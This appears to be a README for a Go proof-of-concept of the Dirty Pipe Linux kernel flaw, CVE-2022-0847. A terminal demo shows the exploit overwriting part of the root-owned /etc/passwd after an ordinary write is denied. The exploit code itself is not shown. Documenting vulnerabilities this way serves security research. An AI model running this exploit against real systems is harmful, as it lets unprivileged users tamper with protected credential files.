knqyf263/cve-2022-0847Go-based proof-of-concept exploit for CVE-2022-0847 (Dirty Pipe) demonstrating arbitrary file overwrite via uninitialized pipe buffers, intended for educational vulnerability research.
The Dirty Pipe Vulnerability
For educational purposes only
┌──(vagrant㉿kali)-[~]
└─$ ls -al /etc/passwd
-rw-r--r-- 1 root root 3124 Mar 8 08:47 /etc/passwd
┌──(vagrant㉿kali)-[~]
└─$ head -n 1 /etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
┌──(vagrant㉿kali)-[~]
└─$ echo foo > /etc/passwd
zsh: permission denied: /etc/passwd
┌──(vagrant㉿kali)-[~]
└─$ go run main.go /etc/passwd 1 foo
2022/03/08 08:48:03 It worked
┌──(vagrant㉿kali)-[~]
└─$ head -n 1 /etc/passwd
rfoo:x:0:0:root:/root:/usr/bin/zsh